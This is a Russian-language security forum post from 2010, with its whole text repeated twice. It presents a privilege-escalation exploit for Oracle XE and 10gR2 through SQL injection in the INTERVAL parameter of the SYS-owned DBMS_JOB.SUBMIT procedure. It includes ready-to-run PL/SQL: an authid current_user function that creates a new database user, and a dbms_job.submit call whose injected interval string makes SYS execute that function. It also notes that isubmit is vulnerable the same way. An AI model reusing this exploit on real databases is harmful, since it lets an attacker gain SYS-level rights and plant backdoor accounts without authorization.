[ DSU ]
09.04.2010, 07:49
Делать было нечего дело было вечером :)
Не люблю много писать так что по порядку, искал функцию уязвимую к sql-injection под свои нужды, наткнулся на таковую в пакете dbms_job который принадлежит sys пользователю, функция find_date
...
30 CUR := DBMS_SQL.OPEN_CURSOR;
31 BEGIN
32
33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
34 ' from dual', DBMS_SQL.NATIVE );
...
Уязвим параметр INTERVAL, но тут проблема функция не обьявлена в пакете то есть иё можно использовать только внутри пакета, под мои нужды это не подходит мб кому-то и подойдет :). Но чтоб довести дело до победного конца нашел процедуру в пакете которая эту функцию использует, она там не одна но так как мне эта функция не подошла я взял первую попавшуюся :)
...
134 MYDATE := FIND_DATE(INTERVAL);
135 IF NOT NO_PARSE THEN
136 PARSE_JOB(WHAT);
137 END IF;
138
...
1. Создаем функцию, можно использовать и курсор но я предпочитаю старую школу :)
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/
2. Ну и собственно сам сплоит
DECLARE
jobNo BINARY_INTEGER;
BEGIN
jobNo:=4242;
dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --');
END;
DB Version: Oracle XE, Oracle 10gR2(возможно и более ранние)
OS: Win XP SP3, Solaris(тестировалось только на этом).
P.S Шедулер у меня выключен при попытки создать задачу на вин процедура выводила ошибку но функция выполнилась :)
Да процедура isubmit так-же уязвима :) тем же способом.
DSU (http://dsu.com.ua/) from Ukrainian Security Community (http://uasc.org.ua/)
Не люблю много писать так что по порядку, искал функцию уязвимую к sql-injection под свои нужды, наткнулся на таковую в пакете dbms_job который принадлежит sys пользователю, функция find_date
...
30 CUR := DBMS_SQL.OPEN_CURSOR;
31 BEGIN
32
33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
34 ' from dual', DBMS_SQL.NATIVE );
...
Уязвим параметр INTERVAL, но тут проблема функция не обьявлена в пакете то есть иё можно использовать только внутри пакета, под мои нужды это не подходит мб кому-то и подойдет :). Но чтоб довести дело до победного конца нашел процедуру в пакете которая эту функцию использует, она там не одна но так как мне эта функция не подошла я взял первую попавшуюся :)
...
134 MYDATE := FIND_DATE(INTERVAL);
135 IF NOT NO_PARSE THEN
136 PARSE_JOB(WHAT);
137 END IF;
138
...
1. Создаем функцию, можно использовать и курсор но я предпочитаю старую школу :)
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/
2. Ну и собственно сам сплоит
DECLARE
jobNo BINARY_INTEGER;
BEGIN
jobNo:=4242;
dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --');
END;
DB Version: Oracle XE, Oracle 10gR2(возможно и более ранние)
OS: Win XP SP3, Solaris(тестировалось только на этом).
P.S Шедулер у меня выключен при попытки создать задачу на вин процедура выводила ошибку но функция выполнилась :)
Да процедура isubmit так-же уязвима :) тем же способом.
DSU (http://dsu.com.ua/) from Ukrainian Security Community (http://uasc.org.ua/)